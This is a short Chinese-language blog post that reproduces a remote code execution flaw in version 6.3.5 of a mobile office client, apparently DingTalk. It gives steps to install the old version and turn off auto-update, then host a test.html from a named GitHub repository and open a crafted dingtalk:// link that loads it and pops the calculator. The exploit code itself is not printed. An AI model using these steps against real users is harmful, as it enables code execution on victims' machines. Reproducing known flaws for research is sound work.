MENU

复现某智能移动办公平台RCE

February 16, 2022 • Read: 295 • 常山阅读设置

复现某智能移动办公平台RCE

复现版本

  • 某智能移动办公平台
  • 版本号:6.3.5
  • 复现环境:Windows10

漏洞复现

  1. 下载版本号6.3.5的软件并安装,链接:https://dtapp-pub.dingtalk.com/dingtalk-desktop/win_installer/Release/DingTalk_v6.3.5.11308701.exe
  2. 登录成功后首先关闭自动更新
  3. 下载https://github.com/crazy0x70/dingtalk-RCE中的test.html,并上传到web服务器
  4. 在浏览器中输入dingtalk://dingtalkclient/page/link?url=192.168.3.25/test.html&pc_slide=true,其中的url参数自行修改为搭建的web服务器
  5. 访问上述地址即可弹计算器
Archives QR Code Tip
QR Code for this page
Tipping QR Code